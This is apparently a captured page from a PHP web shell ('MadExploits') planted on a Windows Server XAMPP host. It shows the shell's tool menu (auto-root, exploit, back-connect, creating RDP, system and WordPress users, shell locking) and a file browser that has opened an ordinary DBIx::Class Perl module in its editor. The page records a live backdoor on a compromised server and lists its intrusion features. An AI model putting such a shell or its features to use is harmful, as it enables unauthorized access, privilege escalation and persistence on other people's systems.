Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
DBIx /
Class /
Relationship /
[ HOME SHELL ]
Name
Size
Permission
Action
Accessor.pm
3.66
KB
-rw-rw-rw-
Base.pm
29.87
KB
-rw-rw-rw-
BelongsTo.pm
2.54
KB
-rw-rw-rw-
CascadeActions.pm
2.02
KB
-rw-rw-rw-
HasMany.pm
1.44
KB
-rw-rw-rw-
HasOne.pm
3.23
KB
-rw-rw-rw-
Helpers.pm
270
B
-rw-rw-rw-
ManyToMany.pm
4.77
KB
-rw-rw-rw-
ProxyMethods.pm
1.36
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Accessor.pm
package # hide from PAUSE DBIx::Class::Relationship::Accessor; use strict; use warnings; use DBIx::Class::Carp; use DBIx::Class::_Util qw(quote_sub perlstring); use namespace::clean; our %_pod_inherit_config = ( class_map => { 'DBIx::Class::Relationship::Accessor' => 'DBIx::Class::Relationship' } ); sub register_relationship { my ($class, $rel, $info) = @_; if (my $acc_type = $info->{attrs}{accessor}) { $class->add_relationship_accessor($rel => $acc_type); } $class->next::method($rel => $info); } sub add_relationship_accessor { my ($class, $rel, $acc_type) = @_; if ($acc_type eq 'single') { quote_sub "${class}::${rel}" => sprintf(<<'EOC', perlstring $rel); my $self = shift; if (@_) { $self->set_from_related( %1$s => @_ ); return $self->{_relationship_data}{%1$s} = $_[0]; } elsif (exists $self->{_relationship_data}{%1$s}) { return $self->{_relationship_data}{%1$s}; } else { my $relcond = $self->result_source->_resolve_relationship_condition( rel_name => %1$s, foreign_alias => %1$s, self_alias => 'me', self_result_object => $self, ); return undef if ( $relcond->{join_free_condition} and $relcond->{join_free_condition} ne DBIx::Class::_Util::UNRESOLVABLE_CONDITION and scalar grep { not defined $_ } values %%{ $relcond->{join_free_condition} || {} } and $self->result_source->relationship_info(%1$s)->{attrs}{undef_on_null_fk} ); my $val = $self->search_related( %1$s )->single; return $val unless $val; # $val instead of undef so that null-objects can go through return $self->{_relationship_data}{%1$s} = $val; } EOC } elsif ($acc_type eq 'filter') { $class->throw_exception("No such column '$rel' to filter") unless $class->has_column($rel); my $f_class = $class->relationship_info($rel)->{class}; $class->inflate_column($rel, { inflate => sub { my ($val, $self) = @_; return $self->find_or_new_related($rel, {}, {}); }, deflate => sub { my ($val, $self) = @_; $self->throw_exception("'$val' isn't a $f_class") unless $val->isa($f_class); # MASSIVE FIXME - this code assumes we pointed at the PK, but the belongs_to # helper does not check any of this # fixup the code a bit to make things saner, but ideally 'filter' needs to # be deprecated ASAP and removed shortly after # Not doing so before 0.08250 however, too many things in motion already my ($pk_col, @rest) = $val->result_source->_pri_cols_or_die; $self->throw_exception( "Relationship '$rel' of type 'filter' can not work with a multicolumn primary key on source '$f_class'" ) if @rest; my $pk_val = $val->get_column($pk_col); carp_unique ( "Unable to deflate 'filter'-type relationship '$rel' (related object " . "primary key not retrieved), assuming undef instead" ) if ( ! defined $pk_val and $val->in_storage ); return $pk_val; }, }); } elsif ($acc_type eq 'multi') { quote_sub "${class}::${rel}_rs", "shift->search_related_rs( $rel => \@_ )"; quote_sub "${class}::add_to_${rel}", "shift->create_related( $rel => \@_ )"; quote_sub "${class}::${rel}", sprintf( <<'EOC', perlstring $rel ); DBIx::Class::_ENV_::ASSERT_NO_INTERNAL_WANTARRAY and my $sog = DBIx::Class::_Util::fail_on_internal_wantarray; shift->search_related( %s => @_ ) EOC } else { $class->throw_exception("No such relationship accessor type '$acc_type'"); } } 1;
Close